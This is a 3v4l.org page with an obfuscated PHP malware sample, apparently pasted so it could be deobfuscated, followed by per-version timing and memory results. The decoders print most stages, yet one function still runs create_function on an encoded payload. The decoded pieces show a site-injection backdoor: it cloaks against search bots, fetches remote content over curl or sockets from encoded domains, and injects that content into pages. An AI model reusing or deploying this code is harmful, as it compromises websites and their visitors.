3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } //create_function("", "};".$b."//"); echo $b."\n"; } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } //create_function("", "};".$g."//"); echo $g."\n"; } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";$soy = "\x65\156\x32";$xx="\x65\170\x70"."\154\x6f\144\x65";$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");$aa = $xx("|","8|9|-|,| ");$mec=$ecx;for($i=0;$i<sizeof($a);$i++) {$g = $scy($aa[$i],$a[$i],$g); }$ecx("", "};$g//");$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; echo 'Function Call: Function Name: '.$vv1.' Argument: '.$v_[$i]."\n"; $vv1($v_[$i]); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.10.0070.01114.88
7.4.00.0080.00915.09
7.3.130.0160.00314.87
7.3.120.0110.00715.03
7.3.110.0060.01114.93
7.3.100.0080.00714.97
7.3.90.0070.01015.08
7.3.80.0070.00614.84
7.3.70.0030.01014.96
7.3.60.0040.00715.00
7.3.50.0080.00714.90
7.3.40.0080.00714.93
7.3.30.0050.00714.92
7.3.20.0060.00916.66
7.3.10.0070.00716.69
7.3.00.0090.00616.77
7.2.260.0090.00914.84
7.2.250.0080.00815.24
7.2.240.0050.01215.22
7.2.230.0040.01015.27
7.2.220.0110.00515.20
7.2.210.0070.00515.05
7.2.200.0100.00415.15
7.2.190.0050.00715.18
7.2.180.0080.01015.19
7.2.170.0080.00715.22
7.2.160.0030.01215.24
7.2.150.0050.00716.87
7.2.140.0050.00916.84
7.2.130.0070.00916.81
7.2.120.0060.00916.78
7.2.110.0020.01216.77
7.2.100.0080.00716.72
7.2.90.0030.01016.95
7.2.80.0080.00616.89
7.2.70.0090.00617.05
7.2.60.0060.00916.95
7.2.50.0030.00816.93
7.2.40.0080.00716.96
7.2.30.0080.00716.90
7.2.20.0090.00517.02
7.2.10.0050.01117.06
7.2.00.0080.00717.58
7.1.330.0070.00715.69
7.1.320.0060.00815.72
7.1.310.0030.00915.97
7.1.300.0030.00915.79
7.1.290.0060.00815.88
7.1.280.0040.00615.76
7.1.270.0030.01115.73
7.1.260.0040.01015.90
7.1.250.0040.00815.86
7.1.240.0070.01015.88
7.1.230.0120.00615.61
7.1.220.0100.00715.84
7.1.210.0000.01215.87
7.1.200.0120.00315.70
7.1.190.0080.00815.85
7.1.180.0090.00615.69
7.1.170.0080.00415.86
7.1.160.0060.00615.73
7.1.150.0100.00615.97
7.1.140.0090.00015.86
7.1.130.0040.00715.91
7.1.120.0030.00915.89
7.1.110.0040.01115.96
7.1.100.0030.01015.94
7.1.90.0000.01115.72
7.1.80.0000.00915.58
7.1.70.0050.00616.43
7.1.60.0060.01317.57
7.1.50.0080.00916.47
7.1.40.0030.01015.71
7.1.30.0090.00015.75
7.1.20.0030.01015.84
7.1.10.0070.00715.86
7.1.00.0030.04319.07
7.0.330.0040.00415.57
7.0.320.0060.00915.50
7.0.310.0100.00715.41
7.0.300.0030.00715.41
7.0.290.0040.00715.43
7.0.280.0000.01015.33
7.0.270.0070.00715.50
7.0.260.0070.00715.23
7.0.250.0030.01015.26
7.0.240.0080.00615.35
7.0.230.0030.00915.40
7.0.220.0030.01015.34
7.0.210.0000.01315.59
7.0.200.0120.00915.13
7.0.190.0030.01215.50
7.0.180.0030.00715.61
7.0.170.0110.00015.43
7.0.160.0000.01115.54
7.0.150.0070.00715.45
7.0.140.0070.04018.75
7.0.130.0070.00715.52
7.0.120.0070.03918.67
7.0.110.0060.00615.60
7.0.100.0090.00615.06
7.0.90.0040.00715.44
7.0.80.0110.00015.47
7.0.70.0000.01715.55
7.0.60.0020.02617.84
7.0.50.0070.03016.70
7.0.40.0080.03615.66
7.0.30.0070.03015.67
7.0.20.0120.03715.56
7.0.10.0090.02315.51
7.0.00.0050.04715.60
5.6.400.0070.00714.42
5.6.390.0070.00714.66
5.6.380.0090.00014.57
5.6.370.0060.00914.40
5.6.360.0030.00614.31
5.6.350.0000.01514.11
5.6.340.0000.01014.13
5.6.330.0030.00614.64
5.6.320.0060.00914.59
5.6.310.0070.00314.34
5.6.300.0030.00714.51
5.6.290.0030.00614.73
5.6.280.0020.04417.80
5.6.270.0040.00714.66
5.6.260.0000.01914.79
5.6.250.0100.00714.51
5.6.240.0090.00914.43
5.6.230.0060.00614.41
5.6.220.0090.00314.42
5.6.210.0050.04817.74
5.6.200.0080.02316.40
5.6.190.0050.04516.33
5.6.180.0080.03016.40
5.6.170.0060.03916.44
5.6.160.0060.03316.32
5.6.150.0020.02616.58
5.6.140.0060.02616.32
5.6.130.0070.04516.45
5.6.120.0100.02816.31
5.6.110.0000.02816.29
5.6.100.0050.02416.23
5.6.90.0130.01816.49
5.6.80.0080.01816.07
5.6.70.0050.02015.86
5.6.60.0000.02816.00
5.6.50.0020.02916.02
5.6.40.0020.02515.91
5.6.30.0080.02115.99
5.6.20.0050.02315.88
5.6.10.0020.02316.04
5.6.00.0030.02315.90
5.5.380.0060.00614.58
5.5.370.0070.00714.46
5.5.360.0130.00014.33
5.5.350.0190.04017.48
5.5.340.0080.04316.26
5.5.330.0030.04816.21
5.5.320.0090.02816.22
5.5.310.0070.02616.20
5.5.300.0080.04316.20
5.5.290.0080.03716.29
5.5.280.0000.03816.30
5.5.270.0030.02516.32
5.5.260.0040.02416.37
5.5.250.0040.02416.11
5.5.240.0020.02415.92
5.5.230.0040.02715.90
5.5.220.0080.01815.71
5.5.210.0050.02315.81
5.5.200.0060.01915.79
5.5.190.0080.02015.82
5.5.180.0030.02515.89
5.5.170.0090.00314.32
5.5.160.0030.02215.94
5.5.150.0020.02715.66
5.5.140.0020.02616.04
5.5.130.0050.02415.92
5.5.120.0030.02315.98
5.5.110.0060.02115.90
5.5.100.0060.02215.84
5.5.90.0050.02515.94
5.5.80.0040.02415.92
5.5.70.0020.02615.72
5.5.60.0030.02515.89
5.5.50.0020.04415.96
5.5.40.0050.02715.81
5.5.30.0070.04015.87
5.5.20.0040.04415.78
5.5.10.0130.03815.74
5.5.00.0080.03115.76
5.4.450.0060.04115.59
5.4.440.0070.02115.58
5.4.430.0050.02015.55
5.4.420.0000.02615.63
5.4.410.0020.02215.52
5.4.400.0060.02015.43
5.4.390.0040.02015.43
5.4.380.0000.02615.40
5.4.370.0030.02015.35
5.4.360.0030.02215.40
5.4.350.0020.02415.45
5.4.340.0000.02415.44
5.4.330.0040.00711.81
5.4.320.0050.02315.35
5.4.310.0020.02215.46
5.4.300.0020.02215.38
5.4.290.0000.02315.42
5.4.280.0030.02115.44
5.4.270.0040.02315.42
5.4.260.0070.02215.38
5.4.250.0070.02215.41
5.4.240.0070.02415.41
5.4.230.0020.02415.39
5.4.220.0050.03615.41
5.4.210.0030.02815.35
5.4.200.0020.04215.42
5.4.190.0070.04015.41
5.4.180.0150.03515.45
5.4.170.0080.03815.43
5.4.160.0060.03815.34
5.4.150.0000.04015.41
5.4.140.0070.04014.20
5.4.130.0000.04214.22
5.4.120.0050.04214.13
5.4.110.0050.02514.23
5.4.100.0100.02214.13
5.4.90.0070.01814.12
5.4.80.0000.04214.14
5.4.70.0100.03314.17
5.4.60.0050.03414.16
5.4.50.0040.03414.12
5.4.40.0050.02814.13
5.4.30.0020.03514.08
5.4.20.0100.03514.07
5.4.10.0060.04014.07
5.4.00.0090.03913.80
5.3.290.0030.02213.30
5.3.280.0020.02113.26
5.3.270.0050.02313.25
5.3.260.0040.03413.25
5.3.250.0030.04213.26
5.3.240.0030.04413.29
5.3.230.0050.04113.21
5.3.220.0050.03013.22
5.3.210.0040.02313.20
5.3.200.0060.04113.24
5.3.190.0040.03113.20
5.3.180.0070.03713.14
5.3.170.0020.03413.20
5.3.160.0070.03913.14
5.3.150.0030.04213.23
5.3.140.0070.03713.27
5.3.130.0160.03013.19
5.3.120.0080.02813.23
5.3.110.0040.04313.24
5.3.100.0090.03512.96
5.3.90.0080.03612.95
5.3.80.0040.03012.96
5.3.70.0020.04412.96
5.3.60.0090.03912.94
5.3.50.0050.03612.91
5.3.40.0090.03512.93
5.3.30.0070.04012.90
5.3.20.0100.03012.89
5.3.10.0050.04012.79
5.3.00.0050.04112.78
5.2.170.0030.06711.23
5.2.160.0000.06311.25
5.2.150.0130.03711.25
5.2.140.0000.03311.09
5.2.130.0000.05011.02
5.2.120.0000.06311.16
5.2.110.0030.06311.17
5.2.100.0000.04311.38
5.2.90.0070.06011.27
5.2.80.0130.05311.17
5.2.70.0030.06311.20
5.2.60.0070.06311.21
5.2.50.0030.03311.13
5.2.40.0000.03011.05
5.2.30.0030.05311.06
5.2.20.0070.04011.05
5.2.10.0030.06310.77
5.2.00.0070.05710.64
5.1.60.0030.03010.03
5.1.50.0030.02310.05
5.1.40.0030.05710.01
5.1.30.0000.06310.43
5.1.20.0000.05710.46
5.1.10.0100.04710.19
5.1.00.0101.2639.94
5.0.50.0070.0438.63
5.0.40.0070.0408.63
5.0.30.0030.0638.63
5.0.20.0000.0478.63
5.0.10.0100.0378.63
5.0.00.0030.0378.63
4.4.90.0030.0338.63
4.4.80.0000.0308.63
4.4.70.0030.0138.63
4.4.60.0070.0338.63
4.4.50.0000.0408.63
4.4.40.0030.0538.63
4.4.30.0000.0208.63
4.4.20.0070.0338.63
4.4.10.0000.0378.63
4.4.00.0070.0538.63
4.3.110.0000.0308.63
4.3.100.0030.0208.63
4.3.90.0070.0238.63
4.3.80.0070.0508.63
4.3.70.0000.0408.63
4.3.60.0030.0278.63
4.3.50.0000.0378.63
4.3.40.0100.0438.63
4.3.30.0030.0278.63
4.3.20.0070.0178.63
4.3.10.0070.0178.63
4.3.00.0030.0338.63

preferences:
75.27 ms | 400 KiB | 5 Q